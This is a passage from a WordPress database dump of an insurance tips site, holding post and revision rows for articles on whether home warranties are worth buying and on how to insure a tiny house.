wp:list-item -->\n<li>The homeowner may have little or no say in the model or brand of a replacement component, or may not like the job the company-designated contractor does.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Rather than get a home warranty, it may make more sense to put premium payments into an emergency fund to use for any repairs that do come up.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-4\">What Is a Home Warranty?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">A home warranty is not the same thing as homeowners insurance, which covers major perils such as fires, hail, property crimes, and certain types of water damage that could affect the entire structure or the homeowner’s personal possessions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">A home warranty is a contract between a homeowner and a home warranty company that provides for discounted repair and replacement service on a home’s major components, such as the furnace, HVAC, plumbing, and electrical systems. A home warranty may also cover major appliances, such as washers and dryers, refrigerators, and swimming pools.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-9\">Often homeowners insurance doesn\'t cover these components. Or, the cost of fixing them (while expensive) wouldn\'t meet the policy\'s deductible—the dollar point at which insurance coverage kicks in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">Most plans have a basic component that provides all homeowners who purchase a policy with certain coverages. Homeowners can also purchase one or more optional components that provide additional coverage at additional cost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Important: </strong>Home warranties often come up when purchasing a home. The seller may offer to purchase one on your behalf to provide peace of mind that any component of the home can be fixed affordably—if not, you will likely receive numerous mail solicitations to purchase a home warranty once the sale closes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Home warranty companies have agreements with approved service providers. When something that is covered by a home warranty breaks down, the homeowner calls the home warranty company, which sends one of its service providers to examine the problem. If the provider determines that the needed repair or replacement is covered by the warranty, they complete the work. The homeowner only pays a small service fee, plus the money already spent to purchase the warranty.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-18\">What Does a Home Warranty Cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">A home warranty costs several hundred dollars a year, paid up-front (or in installments, if the warranty company offers a payment plan). The plan’s cost varies depending on the property type—single-family detached, condo, townhouse, or duplex—and whether the homeowner purchases a basic or an extended plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-21\">The cost usually does not vary with the property’s age, unless the home is brand new, which increases the cost of coverage. The home’s square footage also does not affect the price in most cases, unless the property is more than 5,000 square feet. Separate structures, such as guest houses, usually are not covered by the basic policy but can be covered for an additional fee. However, garages should be included as a standard feature of a warranty.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">In addition to an annual premium, home warranties charge a service call fee (also called a trade call fee) of around $60 to $100 every time the warranty holder requests that a service provider come out to the house to examine a problem. If the problem requires more than one type of contractor to visit (e.g., a plumber and an electrician), the homeowner may have to pay the service fee for each.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-25\">Having a home warranty doesn’t mean the homeowner will never have to spend a penny on home repairs. Some problems won’t be covered by the warranty, whether because the homeowner didn’t purchase coverage for that item or because the warranty company doesn’t offer coverage for that item. Also, home warranties usually don’t cover components that haven’t been properly maintained. (More about this drawback below.) Furthermore, if the warranty company denies a claim, the homeowner will still have to pay the service fee and will also be responsible for repair costs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-27\">The Benefits of a Home Warranty</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">Like all warranties, a home warranty is supposed to protect against expensive, unforeseen repair bills and provide peace of mind. For a homeowner who doesn’t have an emergency fund or wants to reserve it for other things, a home warranty can act as a buffer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">Home warranties also make sense for people who aren’t handy or don’t want to worry about tracking down a contractor when they have a problem. Warranties can also make sense for people with expensive tastes in appliances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-32\">The subject of home warranties often comes up during the sale and purchase of a home. A home warranty can provide reassurance to a home buyer who has limited information about how well the home’s components have been maintained or—in the case of new construction—how well the home has been built. A warranty can also be helpful for people who have just depleted their savings to buy a home and want to avoid any additional major expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">For home sellers, offering the buyer a paid-up, one-year home warranty with the purchase may provide a measure of protection against buyer complaints about any discovered problems or defects that arise after the sale closes. However, providing a home warranty does not exempt the seller from the legal requirement to disclose any known problems with the home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-36\">The Drawbacks of Home Warranties</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-37\">Here are the key disadvantages of home warranties.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-39\">Maintenance Gray Area</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-40\">One major problem with a home warranty is that it will not cover items that have not been properly maintained. What is considered proper maintenance can be a significant gray area and is the source of many disagreements between home warranty companies and warranty holders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-42\">In a worst-case scenario, unscrupulous warranty companies may use the improper maintenance clause as an excuse to deny valid claims. In another scenario, the homeowner and the contractor who makes the house call may simply disagree over what constitutes proper maintenance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-44\">Another common problem is that when a homeowner purchases a used home, it might come with a 10-year-old furnace that the previous owner did not maintain. At that point, no matter how well the new homeowner tries to care for the furnace going forward, the previous neglect can’t be corrected and any damage can’t be undone. In addition, warranties have numerous exclusions, as well as dollar limits per repair and per year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-46\">Home warranties aren’t expensive compared to the cost of repairing or replacing most of a home’s important components, and this fact is one of a warranty’s major selling points. However, there may be many years when nothing at all breaks down or wears out in the home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-48\">Opportunity Costs</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">In these years the homeowner gets nothing (except, perhaps, peace of mind) in exchange for her premium. If that money had been put into an emergency fund, it would’ve earned some interest at least. Also, a homeowner who tries to use the warranty and has the claim denied will probably feel like the money spent on the premium and the service call fee were wasted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-51\">Home warranties do eliminate the need to find a contractor when something breaks. However, they also eliminate the freedom to choose your own expert—an independent contractor—if you want the warranty to pay for the repair or replacement. If you don’t like the contractor or the work that’s done, you’re stuck. Also, the homeowner may have little or no say in the model or brand of a<br>replacement component, though the warranty contract should provide for an item of similar or equivalent quality.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-53\">Furthermore, the whole process may be more complicated when a third party (the home warranty company) is involved than if a homeowner is dealing directly with a contractor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-55\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-56\">A home warranty is not a perfect solution to the risks and hidden costs homeowners face. If a seller wants to give you one, it won\'t hurt, certainly. Before you purchase one, though, read the fine print in the home warranty contract and carefully consider whether the warranty is likely to pay off.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-58\">Homeowners/buyers who would feel more comfortable having a home warranty—as well home sellers who want to offer a warranty to a buyer—should also do careful research to find a reputable home warranty company that uses reputable contractors and will actually pay for legitimate repairs when they are needed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/articles/mortgages-real-estate/11/home-warranty-worth-it.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','Do You Need a Home Warranty?','','publish','closed','closed','','do-you-need-a-home-warranty','','','2024-02-28 21:00:05','2024-02-28 21:00:05','',0,'https://smartinsurance.tips/?p=3873',0,'post','',0),(3874,1,'2024-02-28 20:57:59','2024-02-28 20:57:59','','Untitled-15','','inherit','closed','closed','','untitled-15-2','','','2024-02-28 20:57:59','2024-02-28 20:57:59','',3873,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-15.png',0,'attachment','image/png',0),(3875,1,'2024-02-28 21:00:05','2024-02-28 21:00:05','<!-- wp:paragraph -->\n<p>It might not be the safety net for repairs that you were hoping for.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3874,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-15-1024x1024.png\" alt=\"\" class=\"wp-image-3874\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">When you purchase a home, even a home that isn’t new, there is a very good chance that you will be offered a home warranty as a safety net against expensive, unforeseen repairs. It may sound like a great form of financial protection—but is it really the safety net that homeowners expect? Let’s find out if home warranties are worth it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A home warranty reassures a homebuyer and provides the seller with a measure of protection against complaints about home defects that arise after the sale closes.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The improper maintenance clause common to warranties can mean the new homeowner isn’t really protected if something goes wrong and the previous owner hadn’t maintained the system properly.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The homeowner may have little or no say in the model or brand of a replacement component, or may not like the job the company-designated contractor does.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Rather than get a home warranty, it may make more sense to put premium payments into an emergency fund to use for any repairs that do come up.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-4\">What Is a Home Warranty?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">A home warranty is not the same thing as homeowners insurance, which covers major perils such as fires, hail, property crimes, and certain types of water damage that could affect the entire structure or the homeowner’s personal possessions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">A home warranty is a contract between a homeowner and a home warranty company that provides for discounted repair and replacement service on a home’s major components, such as the furnace, HVAC, plumbing, and electrical systems. A home warranty may also cover major appliances, such as washers and dryers, refrigerators, and swimming pools.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-9\">Often homeowners insurance doesn\'t cover these components. Or, the cost of fixing them (while expensive) wouldn\'t meet the policy\'s deductible—the dollar point at which insurance coverage kicks in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">Most plans have a basic component that provides all homeowners who purchase a policy with certain coverages. Homeowners can also purchase one or more optional components that provide additional coverage at additional cost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Important: </strong>Home warranties often come up when purchasing a home. The seller may offer to purchase one on your behalf to provide peace of mind that any component of the home can be fixed affordably—if not, you will likely receive numerous mail solicitations to purchase a home warranty once the sale closes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Home warranty companies have agreements with approved service providers. When something that is covered by a home warranty breaks down, the homeowner calls the home warranty company, which sends one of its service providers to examine the problem. If the provider determines that the needed repair or replacement is covered by the warranty, they complete the work. The homeowner only pays a small service fee, plus the money already spent to purchase the warranty.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-18\">What Does a Home Warranty Cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">A home warranty costs several hundred dollars a year, paid up-front (or in installments, if the warranty company offers a payment plan). The plan’s cost varies depending on the property type—single-family detached, condo, townhouse, or duplex—and whether the homeowner purchases a basic or an extended plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-21\">The cost usually does not vary with the property’s age, unless the home is brand new, which increases the cost of coverage. The home’s square footage also does not affect the price in most cases, unless the property is more than 5,000 square feet. Separate structures, such as guest houses, usually are not covered by the basic policy but can be covered for an additional fee. However, garages should be included as a standard feature of a warranty.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">In addition to an annual premium, home warranties charge a service call fee (also called a trade call fee) of around $60 to $100 every time the warranty holder requests that a service provider come out to the house to examine a problem. If the problem requires more than one type of contractor to visit (e.g., a plumber and an electrician), the homeowner may have to pay the service fee for each.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-25\">Having a home warranty doesn’t mean the homeowner will never have to spend a penny on home repairs. Some problems won’t be covered by the warranty, whether because the homeowner didn’t purchase coverage for that item or because the warranty company doesn’t offer coverage for that item. Also, home warranties usually don’t cover components that haven’t been properly maintained. (More about this drawback below.) Furthermore, if the warranty company denies a claim, the homeowner will still have to pay the service fee and will also be responsible for repair costs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-27\">The Benefits of a Home Warranty</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">Like all warranties, a home warranty is supposed to protect against expensive, unforeseen repair bills and provide peace of mind. For a homeowner who doesn’t have an emergency fund or wants to reserve it for other things, a home warranty can act as a buffer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">Home warranties also make sense for people who aren’t handy or don’t want to worry about tracking down a contractor when they have a problem. Warranties can also make sense for people with expensive tastes in appliances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-32\">The subject of home warranties often comes up during the sale and purchase of a home. A home warranty can provide reassurance to a home buyer who has limited information about how well the home’s components have been maintained or—in the case of new construction—how well the home has been built. A warranty can also be helpful for people who have just depleted their savings to buy a home and want to avoid any additional major expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">For home sellers, offering the buyer a paid-up, one-year home warranty with the purchase may provide a measure of protection against buyer complaints about any discovered problems or defects that arise after the sale closes. However, providing a home warranty does not exempt the seller from the legal requirement to disclose any known problems with the home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-36\">The Drawbacks of Home Warranties</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-37\">Here are the key disadvantages of home warranties.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-39\">Maintenance Gray Area</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-40\">One major problem with a home warranty is that it will not cover items that have not been properly maintained. What is considered proper maintenance can be a significant gray area and is the source of many disagreements between home warranty companies and warranty holders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-42\">In a worst-case scenario, unscrupulous warranty companies may use the improper maintenance clause as an excuse to deny valid claims. In another scenario, the homeowner and the contractor who makes the house call may simply disagree over what constitutes proper maintenance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-44\">Another common problem is that when a homeowner purchases a used home, it might come with a 10-year-old furnace that the previous owner did not maintain. At that point, no matter how well the new homeowner tries to care for the furnace going forward, the previous neglect can’t be corrected and any damage can’t be undone. In addition, warranties have numerous exclusions, as well as dollar limits per repair and per year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-46\">Home warranties aren’t expensive compared to the cost of repairing or replacing most of a home’s important components, and this fact is one of a warranty’s major selling points. However, there may be many years when nothing at all breaks down or wears out in the home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-48\">Opportunity Costs</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">In these years the homeowner gets nothing (except, perhaps, peace of mind) in exchange for her premium. If that money had been put into an emergency fund, it would’ve earned some interest at least. Also, a homeowner who tries to use the warranty and has the claim denied will probably feel like the money spent on the premium and the service call fee were wasted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-51\">Home warranties do eliminate the need to find a contractor when something breaks. However, they also eliminate the freedom to choose your own expert—an independent contractor—if you want the warranty to pay for the repair or replacement. If you don’t like the contractor or the work that’s done, you’re stuck. Also, the homeowner may have little or no say in the model or brand of a<br>replacement component, though the warranty contract should provide for an item of similar or equivalent quality.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-53\">Furthermore, the whole process may be more complicated when a third party (the home warranty company) is involved than if a homeowner is dealing directly with a contractor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-55\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-56\">A home warranty is not a perfect solution to the risks and hidden costs homeowners face. If a seller wants to give you one, it won\'t hurt, certainly. Before you purchase one, though, read the fine print in the home warranty contract and carefully consider whether the warranty is likely to pay off.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-58\">Homeowners/buyers who would feel more comfortable having a home warranty—as well home sellers who want to offer a warranty to a buyer—should also do careful research to find a reputable home warranty company that uses reputable contractors and will actually pay for legitimate repairs when they are needed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/articles/mortgages-real-estate/11/home-warranty-worth-it.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','Do You Need a Home Warranty?','','inherit','closed','closed','','3873-revision-v1','','','2024-02-28 21:00:05','2024-02-28 21:00:05','',3873,'https://smartinsurance.tips/?p=3875',0,'revision','',0),(3876,1,'2024-02-28 21:04:11','2024-02-28 21:04:11','<!-- wp:paragraph -->\n<p>Get the coverage you need to protect your lifestyle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3877,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-16-1024x1024.png\" alt=\"\" class=\"wp-image-3877\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Tiny houses are gaining in popularity across the U.S—after all, these miniature homes are affordable, energy efficient, and easy to maintain. Plus, they offer a simpler lifestyle, with no room for clutter or things you don’t need (Marie Kondo would be proud).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Even though tiny houses are, well, tiny, they can still cost tens—or even hundreds—of thousands of dollars, so it’s a good idea to protect your investment with a good insurance policy. Here’s what you need to know about insurance for your tiny home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Tiny houses are usually between 100 and 400 square feet.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You can insure a tiny house, but the type of policy you buy depends on how the house was built and how you use the home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It’s a good idea to think about insurance before you build a tiny house, so you know which options you’ll have.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-6\">What Is a Tiny House?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">A tiny house is exactly what it sounds like: a really small house. While there are no official size limits, tiny houses tend to be between 100 and 400 square feet. By comparison, the median size of newly constructed single-family homes in 2020 was 2,333 square feet, according to data from the U.S. Census Bureau.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-9\">Tiny houses are either homes on wheels (and, therefore, moveable) or stationary. This distinction—along with how you use the home—determines the type of insurance you need.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-11\">RV Insurance for Tiny Houses</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-12\">RV insurance may be the right choice if your tiny house is on wheels and you plan to move around frequently because it covers your home while it’s parked and during transport. As RV insurance is designed for travelers, it includes provisions that some of the other options don’t—namely, collision coverage. To qualify for RV insurance, the tiny house must meet standards from the Recreational Vehicle Industry Association (RVIA).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-14\">Basic RV policies typically include these types of coverage:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-16\"><!-- wp:list-item -->\n<li><strong>Collision—</strong>This kicks in if your tiny house is damaged in an accident with an object or another vehicle, regardless of fault.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Comprehensive—</strong>Also known as “other than collision,” this covers events beyond your control, such as theft, vandalism, fire, falling objects, weather-related incidents, and collisions with animals.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Liability—</strong>It helps to pay for property damages and injuries that you cause.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Uninsured/underinsured motorist—</strong>This covers you if your tiny home is hit by someone with no insurance or not enough insurance. It helps pay for damages to your tiny home, personal injuries, and lost wages if you can’t work.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Personal property—</strong>As the name implies, this covers your personal property in the event that it’s lost, damaged, or destroyed.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Medical payment—</strong>This helps cover medical bills for you and your passengers if your tiny house is in an accident.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Warning:</strong> If you use your tiny house as a full-time residence, be sure to buy a “full-timer’s” policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-20\">Not all insurance companies offer the same lineup of coverage options, so review your policy to make sure it provides the coverage you need. If it doesn’t, fill in the gaps with endorsements or a separate policy. For example, if your policy doesn’t cover personal liability, you could get a cheap renter’s insurance policy to cover both your personal property and your personal liability.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-22\">Mobile Home Policies for Tiny Houses</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">If you plan to move your tiny house just a couple of times a year (or not at all), and it’s built by a NOAH-certified builder, a mobile (or manufactured) home insurance policy might be your best bet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-25\">A comprehensive mobile home insurance policy is similar to standard homeowners insurance—it covers the home, your personal property, and liability claims. However, unlike RV insurance, mobile home insurance doesn’t cover the home or your belongings while your tiny house is in transport.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-27\">For that, you’ll need a transit endorsement. The policy must be in place before you transport your tiny house, which means you must inform your insurance company before you plan to move so it can update your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">Another option for mobile home insurance is a named peril policy. These are comparatively inexpensive policies that cover specific causes of loss named in the policy—and nothing else. This means that if your tiny house is damaged by a peril not listed in the policy, the cost of any repairs will come out of your pocket. Thus, while you can save money with a named peril policy, it may not be worth the added risks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Fast Fact:</strong> <em>Mobile home insurance may cover water leaks in certain situations; however, most policies don’t cover damage caused by any water leaks that are due to a lack of maintenance.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-33\">Tiny House Insurance Specialists</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">There are a handful of small companies that offer tiny-house–specific coverage—and that number will likely increase, given the growing popularity of tiny homes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">These companies generally offer coverage for any traditional or alternative living structures, including DIY units, off-the-grid cabins, micro homes, storage container homes, park models, custom RVs, and accessory dwelling units (ADUs). Some companies offer tiny house construction insurance, and most will insure tiny houses that aren’t built to RVIA standards or haven’t been certified by NOAH.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">As these companies are tiny house–specific, they tend to offer the most options and greatest flexibility. It might take a little back and forth with a representative, but you should be able to get the exact coverage you need for your tiny home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-40\">Do I Need Insurance for My Tiny House?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-41\">If you used a mortgage or other loan to finance your tiny house, your lender might require you to buy insurance (the same way lenders do for traditional homes and cars). And if you transport your tiny home, most states require you to have liability coverage—just as for a regular RV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-43\">Otherwise, there’s no legal requirement for you to insure your tiny house. Still, a tiny house is a serious investment, so it makes financial sense to protect it with a good insurance policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-45\">How Much Does Tiny House Insurance Cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-46\">There’s no set price for tiny house insurance. It depends on numerous factors, including:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-48\"><!-- wp:list-item -->\n<li>Your tiny home’s construction, size, value, and RVIA/NOAH status</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The value of your personal belongings</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>How you plan to use the home (e.g., parked in a tiny house community or on the road 52 weeks a year)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The coverage you want, including any extras, such as a trip endorsement</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your claims 